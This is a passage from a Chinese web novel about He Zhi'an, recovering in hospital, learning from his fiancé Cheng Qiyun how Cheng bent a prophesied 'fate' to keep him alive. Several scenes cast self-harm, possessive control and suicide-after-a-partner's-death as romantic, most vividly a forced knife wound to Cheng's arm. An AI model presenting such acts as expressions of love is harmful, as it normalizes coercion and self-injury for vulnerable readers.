像是有什么比他车祸更巨大的、无法明说的可怖阴翳在何芷安不知情时在他们之间共享,让这两个几乎已经站在人生巅峰的家庭,世俗上意义上的大成功者也心有颤颤。 但那表情转瞬而逝,并未被四年前的何芷安注意到。 “他啊。”林芸当时只轻轻地说,“他没事,他在国内呢,你先不要管他了。”《 》 30-39 第31章 第 31 章 如今 病房门推开, 林芸走了进来。 四年前的画面与现在重叠,何芷安陷入恍惚,直到被林芸的双臂用力搂进怀中, 他才在母亲温暖的臂弯里回神。 齐诚看了看眼中隐隐含泪的林芸, 难得乖巧地说。 “阿姨,医生说小安没什么事,您别激动。” 林芸缓缓敛起神情, 屈指在面颊上轻轻一点,看着他笑了笑:“我知道的,这两天辛苦你一直往这跑了。” “哎呀,说什么呢!小安当时在我车上, 本来我也有责任。”齐诚说:“既然小安醒了,我就先回去了,你们聊吧。” 林芸点头,齐诚又和何芷安挥了挥手:“我下次再来看你啊!” 病房门开启又合拢, 林芸坐在病床边,关心了几句“头疼不疼”“人难不难受”。叫医生过来给何芷安做了个全面的检查,两个小时后,医生拿着何芷安的颅内核磁共振单子,再次确认他脑内血肿有变小迹象, 身体状态良好, 林芸才终于放下了心。 林芸心疼地摸了摸他的脸:“宝贝, 你爸爸这几天有个合同要签,人不在国内, 等回来就来看你。” 何芷安摇摇头:“让爸忙吧,我不是没事么。” 没等林芸再说什么,何芷安看着她, 忽然问。 “妈妈,程起云一直欺负我,你们为什么不管他?” 林芸愣住了。 这是从小到大,何芷安第一次向她告程起云的状,她一时摆不出合适的表情,嘴唇微张着,是欲言又止的模样。 何芷安想起自己失忆那段时间,他连已经报了央美的志愿都忘记了,只记得自己是不打算出国的。在伦敦进行后续的疗养时,何晟和林芸却说他向伦敦艺术大学递交了入学申请,手续已经办得差不多了。 他有些疑惑,但并未深想,只是打算反悔了,要回国念书。父母劝不住他,最后是程起云打来视频电话。 “安安,你在伦敦念大学,正好养伤。”视频里,程起云五官硬朗,面色却苍白,静静地望着他:“你回国我不放心你不会让我一直提心吊胆的,对不对?” 何芷安通过远程视频看着程起云,也能看出他瘦削许多,双颊消减,颧骨更立体了。原本就显得冷与凶的脸,此刻甚至能窥出几分阴鸷来。 他想,哥哥肯定是被自己吓坏了。听说当时程起云就坐在他旁边,自己那样血淋淋的昏过去,他一定有心理阴影了。 那好吧。 何芷安决定大方地配合害怕的程起云:“我会在伦敦好好治疗的,其实我觉得我现在很健康你要常常来看我呀,就像我去美国看你一样。” 程起云深深地注视着他,说:“好。” ——然而,在何芷安念大学的四年里,程起云一次也没踏足过伦敦。 思绪回拢,何芷安想起自己被程起云连同林芸与何晟一起瞒住的那份央美的志愿书,轻声问林芸。 “妈妈,程起云对我很坏,你们却没有取消我们的婚约。不是因为你们从最开始就没把婚约当真,是因为别的原因,是不是?” “四年前我车祸失忆,应该也是程起云和你们建议,让我留在伦敦上学的,对吧?” “为什么?” 林芸坐在他床边,姣好的面容被从窗外照入的阳光映出一轮温柔的金边。她注视着何芷安,纤浓的睫毛半抬着,看着他出了神。半晌过后,她的视线才重新聚焦,流露出柔和的光彩。 “宝贝,你很聪明,有些事情我们不好对你说,就让程起云自己来告诉你吧。算算时间,他要做的事也快结束了。” “我现在能告诉你的是,小安,程起云有一份经过公证的遗嘱,遗嘱涵盖范围包括他名下的所有动产和不动产、现金、债券、基金,以及浙兴的股份。当时我、你爸爸,还有他父亲都在场。” 何芷安若有所觉,指尖一颤。林芸覆住他的手背,轻轻地握了握。 “这份遗嘱的唯一受益人是你。” 林芸离开前对他说,“小安,我和你爸爸只是知道程起云在做什么,不代表我们是利益共同体。等到你知晓全部事情,无论你决定继续婚约,还是和他一刀两断,我们都会支持你。你要记得,爸爸妈妈永远是你的后盾。” 私立医院的院区相当安静,何芷安的伤其实好的差不多了,医生护士并不限制他在院内自由活动。他每天都会去公园散散步,更多的时候,是泡在医院的心理治疗科里。 天气转暖,何芷安只在病号服外面套了件毛衣,坐在咨询室内柔软的沙发上。 他手边的木质小茶几上铺着碎花桌垫,煮好的红茶加了蜂蜜,中和了茶叶的苦涩,混合出甜蜜的气味。 “最近,你脑子里还会出现‘叮’声吗?”女医生温和地看着他,“你的那个‘系统’。” 何芷安喝了一口茶:“很久没出现了,其实以前也不怎么出现,偶尔遇见一些事的时候,才会出现。” 医生:“出现的时候,你当下所遇见的那些事,是不是都是你感到疑惑或痛苦,不能理解、不愿意理解的?” 何芷安回忆回国后系统上线的时间,一次是他去程起云的套房里遇见白非,一次是在程起云约的饭局上,钟旻忽然对白非萌生兴趣 他点了点头。 医生低头在记录本上写了什么,又看了看先前和他谈话时记录的内容,对他说。 “我还是那个想法——你之所以会幻想出一个‘系统’,一是血肿压迫大脑神经,导致你易恍惚、多生幻觉,这是次要原因。二是你的心理问题,这也是主要原因。你曾说你失恋了,你的未婚夫离开了你,我想你不愿意面对这个事实,所以主动虚构了‘系统’,将你未婚夫离开你的这个行为合理化,避免自己情绪上的过度痛苦。” “我看了你的病历,现在你脑内血肿吸收良好,客观上不会再产生幻觉。而你现在之所以能意识到‘系统’的存在不合理,我想是因为,你和你未婚夫的情感状态发生了一些变化,是吗?” 闻言,何芷安再度想起四年前程起云曾经向自己吐露过的梦境,这些天里他已经反复揣摩过无数遍,不敢相信从这种种事迹中流露出的真相的影子。 “他不知道在忙什么,我妈妈说他有事要做,两周了,他一直都没来找我。” 何芷安轻声说着,但那语气不像是怨愤,更类似于亲昵的埋怨。这是他从第一次踏入咨询室大门开始,两周以来首次在交谈中对那位“未婚夫”表现出主观情绪,之前他讲述时更多以第三视角,语调平淡,说的好像不是自己的事。 这也是创伤后应激障碍的典型表现,面对“创伤源头”时,会刻意避开描述自己当下的心理活动,主动陷入情绪麻木的状态。 医生在何芷安的情绪进度那一栏打了个勾,用等待他继续讲述的目光,无声鼓励着他说下去。 何芷安单手撑着茶几,捧住自己的侧颊,歪头看着女医生,轻轻笑起来。 “医生,你结婚了吗?” “我结婚了,和大学同学。” “那你会有那种感觉吗?爱他到无法自拔,认为他就是自己的全世界?在我的幻觉里,我是一个又坏又不重要的炮灰角色,但是我的未婚夫是世界的主角。现在我发现,脱离我的假想,他并不是世界的主角,可能还要和所有平凡的人一样,被世界啊、命运啊这些东西摆布。” “主角往往是正义性的,你在幻觉里将你的未婚夫定性成主角,将自己渺小化和邪恶化。你在为他所做的一切找理由,为此不惜贬低自己,看来你真的很爱他。” “大概是的。” “但是你现在已经意识到这是幻觉了,也意识到你的未婚夫只是一个平凡的男人,你还要爱他吗?” 何芷安短暂沉默下来。 “以他的身价和才华来看,他应该也不能算平凡。”半晌,何芷安笑了笑:“他算一个很坏的大反派。” 女医生静静地看着他,何芷安问。 “医生,你说反派之所以变成反派,是基于什么理由呢?” 医生想了想,“一般是天生反社会人格,或者为了报复、权钱等理由吧。” 何芷安说:“如果是普通的现代都市故事里的反派呢。” 医生说:“那大概就是为了权利和金钱了。” “……可是他的遗嘱唯一受益人是我。” 何芷安喃喃,医生没有听清,来不及再问,何芷安已经站了起来。 他颔首示意:“今天就到这里吧,谢谢你,医生。” 程起云一直都没有出现。 直到何芷安在医院里度过第二十天,深夜他躺在床上,程起云才披着一身夜色与初春的寒露,无声地走了进来。 他站在病床边,长久地凝视着何芷安,墙上的电子表上的时间一分一秒跳动,将近五分钟后,男人终于俯下身。 程起云大约是要吻一吻何芷安的,但在那个吻落在面颊之前,何芷安先一步睁开了眼睛,用手挡住了他的嘴唇—— 作者有话说:今天可能会早睡,提前更周五的 第32章 第 32 章 坦白局(1) 病房内有许多发光的电子设备, 不至于是全然的黑暗,何芷安与程起云在这片蒙昧的光线中对视,何芷安缓缓坐起身来。 随着他起身的动作, 程起云被他的手掌摁着下压, 最终屈膝半跪在了床边的地上。 何芷安移开了手掌。 程起云说:“五天前,白非和钟旻上了前往京城的飞机。” 何芷安问:“白非跟着钟旻走了?” 程起云却没有回他的话,只是道。 “接下来, 就是他们两个人的故事了。” 话音落下,周围一时间仿佛更黑了,那是某种真相砸落在地激起的心脏难以负荷的黑暗。但,等这阵激荡逐渐消退, 电子设备正在运行中的蓝绿光幽幽蔓延,眼前又明亮起来,何芷安能够看清程起云的轮廓。 他忽然问:“你的腿断了吗?” 程起云说:“没有。” 何芷安问:“那浙兴破产了?” 程起云说:“也没有,股价同比上涨了35个百分点。” 程起云面上浮现笑意, 即使是屈膝半跪的仰视姿态,也显露出压抑不住的侵略欲和掌控性。 “我听说你恢复记忆了。”他笑着说,“安安,你关心我?” 何芷安讨厌他这副尽在掌控的样子! 他冷声:“我之前在钟旻那说了,你走出那个门我们就完了, 我要和你分手。” 程起云:“我们本来也没谈恋爱, 只是有婚约。” 何芷安:“程起云你王八蛋!” 程起云忽然握住了他的手, 手指是凉的,掌心却很热。那温度渗透到何芷安皮肤上, 让他微微战栗。 四目相对,程起云注视着他,拇指指腹缓慢地摩挲过他的手背。 程起云说:“你有任何想要知道的, 可以问我。” ——接下来,就是他们两个人的故事了。何芷安想起他刚刚那句话,心中一动,他有太多需要确认的事,却一时不知道该从何问起。 程起云没有催他,沉默地守在床边,他仿佛安于这种状态,目光始终停留在何芷安身上。 何芷安最先问:“你和白非分手了?” 程起云说:“是。” “四年前,你跟我说的那个关于你、钟旻和白非的梦,是真的?” “嗯。” “我四年出车祸是因为这个吗?” “是。” “你怎么确信这一切是真的?” “车祸后,你昏迷不醒。我查了浙生重症病基金捐赠名单,白非在列,身份信息和梦里对得上。最重要的,我让基金给他打款后,你就在英国医院里醒来了。” 何芷安下意识抓住被单,没有人能接受“命运”真的存在,而自己只是提线木偶。他回避道:“也许,这只是巧合呢?我醒来并不一定是因为他获得了捐款” “安安。”程起云打断他,平静地问:“我赌得起吗?” 何芷安在他的目光下收声。 “我还原了不下十遍车祸现场,请专业机构分析了当时的行车记录仪录像,没有人能从科学角度给我一个合理的解释,告诉我你为什么会受这么重的伤。” 程起云在英国回来后一次次复刻车祸现场,疯魔了般与束缚着他的无形的丝线争斗。他试图挣扎出一线生机,无果,最终认命。前二十一年人生顺风顺水,他无惧也无畏,即使是在车祸的最后一刻调转车头,主动迎上席卷而来的死亡威胁,他仍没有丝毫恐惧,命运摆弄不了他。 他极其傲慢,漠视命运的征兆和提醒,也漠视生命。 于是命运也调转车头,将威胁架在了何芷安的脖颈上。 程起云放缓声音,自问自答:“我赌不起。” 何芷安忽然记起他在国外念书的时候,那时他忘记自己和程起云一起爬过奇壮美丽的菲茨罗伊峰,忘记自己人生中第一次挑战极限。但不知是和程起云在岩洞中约好要“再来爬一次”的约定在潜意识中影响着他,还是因为孤身在伦敦太过寂寞,他热衷起了极限运动。 他又爬了很多山,在超过30米的高台上玩跳水,他毫无经验就上了GT赛车,在盘山车道压着限速狂飙。 他翻过车,车辆撞烂护栏,保时捷911爆炸起火。从岩体上跌落过,安全绳几乎勒断他的腰。他湿淋淋地从水中爬出来,但他一直毫发无损。 英国相熟的同学们说他有“女神庇佑”。 现在,何芷安恍然发觉,并不是有什么幸运女神,而是他本身是一柄死神的镰刀,替命运架在了程起云的脖颈上。 只要他不出事,程起云、白非和钟旻的人生,就可以按照既定的路线前行。 何芷安嗓音干涩:“但是,在你的梦里,钟旻和白非才是主角。你应该对白非强取豪夺,他与钟旻两情相悦,不是吗?” 现在的情况却是程起云和白非“两情相悦”,钟旻强取豪夺。 “理论上是这样,但我经过几次试探发现,所谓命运的安排没有那么严密。” 程起云说:“第一次试探是我和白非初见,本应该是他在校招的时候主动来感谢我,我反过来先跟他搭了话。我们认识了,他对我颇有感激,你在英国什么也没发生。后来我引导他和我在一起,你仍然是安全的。” “我推测只要关键节点对得上,这些节点之间的脉络如何串连,我们所经历人生具体是如何发展的,并不会受约束。” 何芷安知道自己在英国的时候身边一直有人跟着,他直接在视频通话中问过程起云,程起云也坦然承认了是他派的人。当时失忆状态下的何芷安不清楚这是因为那个古怪的“梦境”,还以为是程起云的占有欲作祟,想要无死角监控他在异国的生活。 他为此感到窃喜。 ——因为何芷安不明白程起云为什么不来看他,程起云总是找出各种理由回避和拒绝,到后来干脆表明自己谈了恋爱。只有活在对方的监视下,他才能感觉自己是被爱着的。 他微微出神,程起云仍在继续说:“我发现白非的确受命运的眷顾,如果真的存在世界的主角,那他就是。我直推他进入项目部,所有他经手的项目都超出了预计,获得空前成功。浙兴同比增长的这35个百分点,有大半要归功于他。” 何芷安随着他的话反应过来。 “所以你干脆颠倒你和钟旻的位置,先一步和白非培养感情,然后利用白非对你的好感,让浙兴更上一层楼。因为你和白非‘两情相悦’了,白非没有喜欢上钟旻,为了契合命运的发展带走白非,钟旻只能采用强制性手段,被迫成为‘强取豪夺’的那个人。” “你成功了,所以浙兴没有破产,你也没有在与钟旻的争斗中失去行走能力。” “不算完全成功。”程起云说:“梦里,我和钟旻为了白非的去留对峙,我大腿中枪,我认为这应该是个关键节点,毕竟这和我的结局直接相关。我不敢直接回避中枪的情节,也不能按照梦境发展真的放弃一条腿,就选择了改变中枪位置。” 他看着何芷安:“我主动用胳膊挨了一枪。” 何芷安下意识看向他中枪的左臂:“有后遗症吗?严” “我没事。”程起云轻声说,“但是你现在躺在这里了。” 何芷安一怔,程起云中弹那天对闯进家中的他厉声呵斥的画面还在眼前,他以为程起云是要赶他走,原来是在命运的注视下让他逃。 他心中霎时百感交集,只能说:“我没事。” 何芷安沉默片刻,想起那声沉闷的枪响,钟旻提枪出门。一门之隔,他多么担心程起云的安危,钟旻却告诉他,程起云为白非挡了一颗子弹。 现在想来,这话中大概掺着钟旻的挑唆,他张口想质问程起云。那又如何呢?你为了所谓的命运必须中枪,所以用胳膊去挡子弹,可你都没有为我挡过子弹! ……虽然,在车祸中,在不知道命运真相之际,程起云主动替他迎向了失控的货车。如果没有这所谓的命运,那程起云已经死了。 可程起云都没为他挡过子弹。 何芷安唇角下移,最终问出来的是。 “为什么钟旻要配合你走命运线?他也知道真相吗?” “他没配合我。” 程起云先澄清了这点,眉弓轻微下压,显出某种不愉:“他在跟我作对。” “我不知道真相以前,前往机场的路上只是透过车窗扫见白非的影子,就产生了包括头晕、耳鸣在内的强烈反应。猜到真相后,首次和白非面对面交流,这种反应更加剧烈,即使此前任何事都没发生,光是这种反应就让人知道他是特殊的。” “我作为故事反派尚且如此,身为白非正缘的钟旻,我推定他见到白非后反应会比我更强烈。而在那天的饭局上,他的表现也如我所料,说不定是见到白非的那一刻就知晓了我们几个未来的命运。” 何芷安记得钟旻抵达南都后同时在云上华府和海港举行的两场宴会,程起云不让他登陆,却邀请钟旻去了陆上那场,原来他早就计划好了。 “你带着白非参加云上华府的宴会,就是为了安排他和钟旻见面?” “嗯。” “……可是钟旻来见我了。” 程起云闻言,唇角泄露一丝冷笑,在黯淡的冷色调光线里睨着何芷安,慢条斯理反问。 “那又怎样?” 何芷安攥住手指:“你怎么确定,他会相信命运,相信了之后,又会按照命运走呢?” 程起云说:“你以为他为什么南下,难道专门为了你吗?如果是为你,早多少年就该来了——他来,是因为钟家在政坛的位置坐不稳,作为姻亲的顾家这几年越来越有往他们头上踩的意思。他早不来晚不来,在顾卫和莎拉订婚后来,是为了在江南找盟友。” “你以为顾卫和莎拉为什么随行?在国内开巡回画展只是借口,顾卫要盯着钟旻,就算拦不住他找人结盟,也得知道他找了个什么样的人。程、何、陈、林,我们哪家没被他们试着摸过底,浙兴芯片技术更迭这么快,股价涨幅这么高,虽然钟旻基于对你的那点喜欢,不会想要和我合作,但你说他会不会对浙兴的发展感兴趣?” 何芷安听见程起云把钟旻对自己的好感定性成“那点喜欢”有些不高兴,但注意力更多被他话中流露的另一层意味引去。 “你做了什么?” “我故意抬高P-ii六代芯片的知名度,在钟旻开始着手调查浙兴和我本人的时候,把白非参与过的那几个项目都推到他面前……想想看,多么神奇,白非入职后每每经手的项目都大获成功,跟你有婚约的我也成了他的男朋友,你觉得钟旻会怎么想?” 怎么想?那时的钟旻大约还未感知到命运的红线,以局外人的角度,他只会觉得白非有什么非凡的商业天赋,程起云就是冲着这个“金饭碗”,才放弃与何芷安的婚约。 他在想着趁虚而入接近何芷安的同时,也许还想过能不能让白非跳槽,跟着自己。 “得到你的好感,进一步跟何家结盟,最好再带走白非。”程起云平铺直叙:“这才是他登上那艘游轮的原因。” ……在他口中,好像钟旻对他全是虚情假意似的。 何芷安并不在意钟旻到底喜不喜欢自己,但恨程起云这副笃定姿态,更不想显得自己没人爱。 “你凭什么断定他是那样想的?” “他在和白非见面后,一点怀疑和挣扎都没有就遵从了命运。还不够证明他本来就认为白非有不凡之处,从最开始就想过要带走白非吗?” “你又知道他没有挣扎了?他也很痛苦啊,我听他倾诉过,也亲身感受过,你以为只有你痛苦,你以为我会觉得你很伟大吗?” “我不伟大吗?”程起云单手撑住床沿,忽然直起身体前倾,他带来的阴影迅速笼罩了何芷安,漆黑的眼珠如同浓缩的深渊:“你听他倾诉过?他说什么了,像个三岁小孩一样在你怀里撒娇了吗?那我呢,你知道四年前你车祸昏迷的时候我是怎么熬过来的?我为了让你爸妈相信这件事是真的费了多少口舌?我倾诉不了,我得挺着,我得想办法为我们挣一个出路,你懂吗?你怎么不心疼心疼我?” “谁让你挺在前面了!你不能告诉我吗?你就让我一无所知地看着你和别人谈恋爱,你还他妈的和他上床!你想过我的心情吗?你还记得我们的约定吗?你怎么不直接让我去死啊!” “你多厉害啊,你不怕死。我告诉你之后你是不是也要这么说,‘我不怕死,该来的就让它来吧’。何芷安,你不怕我怕!人死了就什么都没了!” “我本来就什么都没了!”何芷安骤然拔高音量,眼泪同时落了下来,他望着程起云:“我爱了将近十八年的人没了、不见了!成了别人的了!你才是根本什么也不懂的人,我不会原谅你的!” “你必须原谅我,何芷安,你说过你会原谅我的。” “我什么时候说过?” “四年前,我告诉你我的梦,你说过无论怎么样,你都不会让我一个人。你不能反悔。” 何芷安冷冷瞪着他:“在梦里,浙兴破产了,你腿断了,我可怜你才说陪着你。你现在不是好好的吗?你能为别人挡子弹,来跟我卖什么可怜?” 近距离下,两个人都毫不退让地注视对方,程起云突然偏头,舔走何芷安淌在颊上的眼泪,同时舔过他潮湿的眼睛。 何芷安被迫闭了闭眼,等他睁开,却发现程起云在笑。 “安安,你介意我为了别人受伤么?”他说着,扫视病房一圈,喃喃:“也对,我只该为你去死。” 他拿了床头果盘边的水果刀,单手拇指推开刀鞘。刀鞘跌落在地,在黑暗中发出声响,他带着何芷安握紧刀柄,让刀尖悬在曾经替白非挡过子弹的位置。 “我没带枪,用这个凑合吧。” “何芷安,我再说一遍,我不是为了他。” “但现在你扎下去,要知道我是为了你。” 何芷安的右手被他裹着,微微颤抖,他含泪直视着程起云,嗓音沙哑。 “你以为我不敢,你以为我会心疼吗?” 程起云没回答,只是胳膊猛地下压,何芷安来不及挣扎,尖锐的刀锋已经穿透皮肉,整柄水果刀洞穿了他的左胳膊。 鲜血迅速从刀口蔓延出来,在被面晕开,何芷安的手抖得更厉害了,又被程起云带着将刀拔出。错觉中,他仿佛听到了刀刃切开肌肉的摩擦声。 红透了的水果刀接刀鞘之后扔在地上,程起云用受伤的手插进何芷安的指缝,和他十指交握。他用力,温热的血液迅速涌出,将何芷安与他紧扣的右手变得血淋淋的。 “你知道为什么我不能让钟旻对着我的腿开枪吗?”程起云嘴唇贴着何芷安的耳廓:“因为我答应过你,要背着你爬菲茨罗伊峰的最后一段路。” “我记得我们的所有约定,所以你也要记得你说过的话……你不能放弃我,何芷安,你不能。” 第33章 第 33 章 坦白局(2) 何芷安想要摆出世界上最恶毒的表情, 用很难听的话攻击程起云。 然而,程起云的血烫着他的手,目光也烫着他。他记得就是这个男人和自己蜷缩在菲茨罗伊峰上的岩洞中, 和他说要背着他走向山顶。 “你要背我啊?那你需要很努力了, 而且会很辛苦的。世界的刀刃——你背着我站上去会很痛吧?” “是背你的话就不会痛。” 何芷安知道发生的这一切其实并不能怪程起云,不然要程起云怎么做呢,看着自己去死吗?用理性的角度, 何芷安和程起云的角色互换,他也想不出更好的办法。 因此何芷安不忍心不接纳他,可是……可是他也做不到就这样原谅他。因为何芷安也很痛苦,一无所知地痛苦着, 即使程起云备受煎熬,为了他踩在世界的刀刃上,可作为被保护的那个人,何芷安同样感到万刃穿心。 他不忍心、舍不得就这样放弃程起云, 又想狠狠报复他,在他身上发泄自己的痛苦。 他并不会在这方面舍不得程起云受伤,伤害程起云的对象是自己,这会让他有快感。同时,由于程起云在他面前永远强势、永远傲慢, 仿佛一切尽在掌控。他知道那确实存在的, 程起云煎熬、颓丧, 乃至于脆弱灰心的一面,但程起云从未让他看见过, 所以在感性上而言。这个男人于他就像是无敌的。 既然是无敌的,就可以承受何芷安肆意发泄的痛苦。何芷安不必用理性权衡该不该这么做,也不必不安愧疚。 问题在于何芷安不知道该怎么发泄。 “我恨你。”何芷安带着哭腔开口:“我恨死你了。” 程起云说:“不许恨我。” 何芷安抬手给了他一巴掌, 程起云被打得偏过头去,转回来之后唇角破了,居然还在说:“不许恨我。” “我恨你我恨你我恨你!” 何芷安愤怒地大喊起来,不再压抑,彻底哭起来。眼泪乱七八糟流了满脸,大概是不怎么好看了。 “早知道我不喜欢你了,你知道有多少人喜欢我吗?” “谁?” “钟旻……还有别人。” “都说了他不是真心喜欢你。”程起云耳朵里好像只能听见钟旻两个字,忽然问:“你和他睡了?” 何芷安:“要你管?” 他窥见程起云面上一闪而逝的暴虐,竟有种痛快之感,霎时间明白该怎么攻击程起云了。 “我在他那待了三天两个晚上,你觉得我们会没睡过吗?是你把我赶走的。他把我带上车,安慰我,我回国后第一次那么有安全感。” “别说了。” “你知道吗,钟旻的吻技比你好多了。我们第一次是在窗边,他把我摁在了窗台上,当我用胳膊环住他的脖子,我发现这种事和谁做都一样。” “别说了,安安。” “为什么不能说?对你而言也是这样的吧,你和白非同居了,天天睡一张床,聊聊你的感受啊!是不是很舒服?后悔一开始和我说什么结婚的时候再……” “对啊。”程起云蓦地打断了何芷安的话,眼眶猩红,一字一顿:“我很后悔。” 何芷安下意识闭上嘴巴。 程起云原本在何芷安的话中略微躬起肩背,血淋淋扣着他的手也松了一些。他额角青筋鼓起,一个在昏暗病房中如此庞大的蜷缩于床边的阴影,却在几句毫无实质性伤害的言语中摇摇欲坠。 然而,此刻,随着何芷安的反问,他蜷缩的肩膀打开,重新扣紧了何芷安的手。他双眼通红地笑起来,眼神就像左臂被洞穿的孔洞,望进去只有一片漆黑黏腻,看不见伤口,只有危险的血色。 “我早就该和你做,我以前真是傻逼,坚持一些根本没有意义的东西。早在你成年那天,我就该睡你,把你睡透了,让你从身到心都离不开我。反正我们迟早要结婚,你最后总是我的,我以前在想什么?” 何芷安瞠目结舌,不知道他怎么就得出了这么个结论。 “你……你疯了吗?” “是,我早疯了。我以为你知道呢,安安?和白非睡很爽啊,和别人睡也是,你知道的,我没有瞒过你——就像你说的,和谁睡都一样,除了你。” 何芷安哭着用力推他:“你到底在说什么啊?我知道你和白非睡不是自愿的,你干嘛这么气我?” “第一次不是自愿的。”程起云看清他的眼泪,静下来:“后来是了。” 程起云先前与何芷安坦白所谓的命运时,鲜少用“一定”“肯定”之类绝对的字眼,尤其是关于命运线的发展脉络,他只说是推测、猜测。 事实上也的确如此。 从当前的结果来看,程起云从命运线中顺利脱身,不仅不受影响反而获利。然而,当命运线刚刚开始,当他还身处其中的时候,他怎么知道自己每一步都走的是对的,他怎么能料定自己就能获得最终的成功? 他推测要遵守命运的关键节点,但,怎么定义关键节点? 作为反派和白非的初见算关键节点吗,如果不算,那反派第一次“强取豪夺”白非算吗?作为正缘的钟旻和白非初见算吗?正缘和白非的第一次算吗?他们幸福美满的结局算吗? 他推测也许命运并不在意这些串联节点的脉络如何发展,他们这群凡人具体要怎么过,尝试做点改动,事后看好像成功了,但什么叫事后? 只要何芷安还没在他面前寿终正寝,就不算事后。 也可能就现在,或者某日他重新拥有何芷安,自以为故事已经到了结局,然后何芷安突然死在他的面前。 他才恍然明白,命运不是不追究,只是没有和他清算。就像他和何芷安前面的人生,不一直顺风顺水? 这些有可能吗?都有可能。这些无尽的可能成为悬在程起云头顶的达摩克利斯之剑,过往二十一年人生,他不知恐惧和敬畏为何物。如今他日日恐惧,他早就不是当初那个程起云了。 最好的结局,是他按照计划顺利脱离命运,重新拥有何芷安,然后在何芷安的有生之年一直等待,等待着命运可能性的清算。 最差的结局,他摆脱不了命运的控制,浙兴破产,父亲中风,受伤断腿,失去何芷安。 没有他摆脱命运后得不到何芷安的结局,因为只要他能破局,他就必须要得到何芷安。这是他熬过恐惧的唯一念想。 ——为此,他用不科学的行车记录仪视频、车祸现场还原记录、脑科专家鉴定,说服何晟和林芸相信“命运”真实存在。又用公证的遗嘱、程父的背书向何家表明诚意:他的结婚对象只会是何芷安。 “我想过,要不要去赌能不能别和白非发生关系。” 程起云轻声说:“但下一秒我就想明白了。何芷安,我没有正式和你表白过,没有请求你和我交往过,这些我都对白非做了。都已经做了这些,全世界都知道我和白非谈恋爱了,我再去赌一个你受伤的可能,保持所谓的清白,有意义吗?” “有了第一次之后,我彻底想开了。做都做了,反正不是你,是谁都一样,我更没必要为白非守贞。” “既然我已经烂在了痛苦里,我何必压抑自己的欲望?” 何芷安嘴唇颤抖着,他隐隐感受到了程起云失控的偏执,为此感到心惊。然而,竟然又生出种奇异的满足,忍不住想要继续剖开这个男人的内心,寻求甜蜜的果实。 “你不怕吗?如果你摆脱命运了,我嫌你脏怎么办?” 程起云却笑:“这是最简单的,安安,如果你讨厌,我可以去掉它。你知道的,现在变性手术很方便。” “关键在于,何芷安,你总会是我的。你会是我的。” 何芷安喃喃:“除非……” 程起云定定注视着他:“除非你死了,或者我像命运中那样狼狈收尾。” 但何芷安知道,如果程起云与命运抗争失败,真的走到了那一步,程起云不会选择活下去。以他的骄傲,失败等同于死亡。 也因此,在他预定的结局中,没有他顺从命运变成残疾,再去找何芷安说明苦衷的结局。尽管这种情况下何芷安很可能会心软,同情他,原谅他,和他在一起,甚至照顾他下半辈子。但他不会允许这种事发生。 所以程起云这句话的实际意思是。 ——何芷安,你总会是我的。除非你死了,或者我死了。 病房内一时间陷入沉默,只有电子仪器无声地运转着,良久,何芷安叹了口气。 “程起云,你这个傻蛋。你又怕我现在死,又怕我未来死,你怕命运,多过怕我。你怕得变了一个人,好像我们无法在一起的敌人只有所谓的命运似的。” “其实你的恐惧也是有恃无恐,对吧?你明白的,只要我没有死掉,我就会一直爱你。” 程起云今夜第一次哑口无言。 “可是我承认。”何芷安凝视着他的眼睛,轻声说:“只要我没有死掉,我就会一直爱你。” “人总是会死的,程起云,现在已经到大结局了,你不要害怕了。如果我真的死了,你也可以去死。” 程起云长久地望着他,终于问:“大结局了?” 何芷安肯定:“大结局了。” 程起云问:“那我能吻你了吗?” 何芷安想了想:“好吧。” 时隔四年,程起云终于再次吻住了他,他们倒进染血的病床。 “……去处理伤口。” “扎的时候就没扎到神经,顶多失血过多。” “你用苦肉计?你混蛋!” “需要我去变性吗?” “不要,感觉怪怪的。再说了,你不是还有没用过的地方吗?” “好吧,如果你受不了,可以和我说。” “啊?为什么我会受不了啊?” “唔!程起云你混蛋!……疯子,别用力了,你还没止血!”—— 作者有话说:感谢还在支持本文的读者(鞠躬) 第34章 第 34 章 坦然 何芷安在医院多住了几天, 不是因为哪里受伤,而是他过敏了。 私立医院的床品虽然在卫生方面没有任何问题,但材质跟何芷安家里用的还是存在很大区别。何芷安平时都是穿着病号服, 结果程起云深夜来一趟, 他的皮肤和床单直接接触,还接触了许久,后腰和臀腿处第二天就起了红疹。 情绪起伏太厉害, 又挥霍了两三个小时体力,临天亮了才睡下。何芷安几近虚脱,昏睡到下午。 与他相反,程起云先是处理了一下现场, 协调医院换了间病房,把睡着的何芷安抱进新病房的床上后,又去处理小臂已经止血的刀伤。 虽然没伤到神经,但他这样完全不顾及伤口的做法无疑会加重伤情, 还伴随失血过多。程起云并非铁人,包扎完伤口之后天彻底亮了,他回去与何芷安挤上同一张病床,这才睡下。 第二天是何芷安先醒,他看见身边的程起云, 愣了一愣。 虽然清楚地记得昨夜发生了什么——他们说了那样多、做了那样多, 何芷安全都记得。也正是因为全都记得, 他忽然觉得和程起云之间那层无形却确实存在已久的壁垒已然消融了,因这将近五年未感受过的坦然, 他躺在原位,一动不动地盯着程起云看。 真奇怪,这种感觉。 过去的程起云睡着的时候还是比较温和的, 现下的程起云不晓得是心里压着太多的事,硬生生把自己磨出了过于冷硬的棱角,还是只是长开了,他闭着双眼安睡时看起来也仍然凶悍,有着下一秒就要睁开眼睛凝视你的迫人气场。 何芷安回国后也见过程起云睡觉的样子,那时候只觉得吓人,还觉得这种“吓人”很性感。这时候看着,尽管依旧觉得对方性感,心态却不一样了。 他忽然认识到,这就是程起云,现在的程起云。 虽然和以前那个人完全不同,但他要开始爱眼前的这个人了。 他不觉得不适,也未有可惜,也许是昨夜已经完成从心到身的磨砺与阵痛,他自然而然地接受了新阶段的程起云。看着自己的未婚夫,有种熟悉伴随陌生的新鲜感。 “你这个人啊……”何芷安伸出一根手指,抵住程起云的鼻尖:“真是好坏。” 他轻声埋怨,凑过去想亲他。结果一动,后背腰腿一片针扎似的痛痒,他霎时没忍住“啊”了一声,接着赶紧压低嗓音。 程起云仍然睡着。 意识到之后,那种痛痒就异常清晰起来,何芷安半身不遂地挪下床,进卫生间撩起衣服一看,发现红疹密密麻麻地分布在皮肤上,一碰就疼。 这下,他拧着眉头,也不管程起云有没有在睡觉了,气势汹汹地就想出去扒人衣服。 他都过敏了,程起云也要过敏才对! 然而,刚出卫生间,就看见病房门开了,林芸与何晟表情复杂地站在门口。 他们视线所落之处,是病床上的程起云。 被父母抓到和人不清不楚的尴尬笼罩了何芷安,也许是久违的没有一起出现在彼此的家人面前,何芷安突然觉得害臊。 “爸、妈,其实不是……” 